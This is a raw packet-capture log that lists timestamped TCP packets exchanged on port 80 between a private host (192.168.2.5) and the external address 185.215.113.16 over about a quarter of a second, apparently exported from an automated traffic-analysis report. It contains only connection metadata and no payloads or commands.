Nov 1, 2024 05:52:24.655412912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.655415058 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.655431032 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.655767918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.655782938 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.655797958 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.655822039 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.655813932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.655859947 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.655879974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.655894041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.655909061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.655924082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.655926943 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.655939102 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.655953884 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.655972004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.655978918 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.655978918 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.656009912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656018972 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.656024933 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656039953 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656054020 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656068087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656069040 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.656081915 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656096935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656116962 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656120062 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.656120062 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.656131029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656146049 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656177998 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.656177998 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.656377077 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656392097 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656421900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656436920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656450987 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656466007 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.656476021 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.656476021 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.656502962 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.873975992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.874037027 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.904988050 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.909841061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.909858942 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.909893036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.909923077 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.909939051 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.909944057 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.909953117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.909970045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.909986973 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910001993 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910023928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910026073 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910048008 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910063028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910070896 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910078049 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910080910 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910099983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910115957 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910141945 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910161018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910183907 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910185099 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910209894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910231113 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910247087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910262108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910275936 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910290956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910296917 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910305023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910317898 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910320044 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910336018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910362005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910378933 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910378933 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910393953 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910408974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910422087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910438061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910444975 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910455942 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910465002 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910473108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910485983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910500050 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910515070 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910515070 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910545111 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910572052 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910586119 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910599947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910621881 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910629034 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910629034 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910636902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910650015 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910657883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910671949 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910695076 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910703897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910707951 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910718918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910733938 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910748005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910758018 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910762072 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910778999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910793066 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910806894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910810947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910830021 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910850048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910855055 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910865068 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910878897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910892963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910908937 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910926104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910938025 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910938025 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.910959959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910974979 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.910989046 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911004066 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911019087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911021948 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911021948 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911032915 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911046028 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911047935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911062002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911067963 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911083937 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911098957 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911113024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911128998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911135912 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911135912 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911144018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911158085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911174059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911176920 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911187887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911202908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911205053 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911217928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911223888 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911233902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911273956 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911289930 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911303997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911330938 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911345959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911361933 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911361933 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911362886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911377907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911392927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911408901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911427975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911438942 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911442995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911457062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911472082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911485910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911489010 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911521912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911544085 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911544085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911561012 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911576986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911592960 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911600113 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911600113 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911607027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911622047 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911636114 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911649942 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911654949 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911665916 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911681890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911698103 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911710978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911712885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911726952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911740065 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911756039 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911772013 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911772013 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911786079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911804914 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911808968 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911823034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911838055 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911851883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911865950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911866903 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911874056 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911880970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911895037 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911910057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911926985 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911936998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911951065 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911958933 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911973000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.911976099 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.911988974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912003994 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912017107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912031889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912039042 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912039042 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912066936 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912069082 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912082911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912096977 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912111998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912126064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912139893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912147999 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912147999 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912154913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912168980 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912188053 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912216902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912230015 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912249088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912262917 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912276983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912283897 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912292004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912307024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912321091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912336111 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912338018 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912338972 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912350893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912367105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912380934 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912389040 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912395000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912398100 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912410975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912425041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912441015 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912447929 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912456989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912472010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912476063 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912506104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912513018 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912520885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912535906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912563086 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912569046 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912581921 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912585020 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912599087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912612915 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912627935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912643909 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912647009 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912655115 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912657976 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912673950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912678957 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912692070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912723064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912736893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912751913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912766933 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912770033 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912770033 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912782907 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912784100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912800074 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912812948 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912820101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912827969 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912867069 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912868977 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912880898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912894964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912904024 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912909031 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912925005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912940025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912944078 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912954092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912969112 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.912983894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.912987947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913006067 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913024902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913038969 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913041115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913055897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913070917 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913085938 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913101912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913111925 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913111925 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913116932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913135052 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913137913 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913168907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913183928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913197041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913212061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913223028 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913228035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913239002 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913244009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913259029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913273096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913279057 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913279057 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913312912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913326979 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913332939 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913341045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913355112 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913369894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913377047 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913387060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913395882 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913400888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913417101 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913424969 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913460970 CET	80	49712	185.215.113.16	192.168.2.5
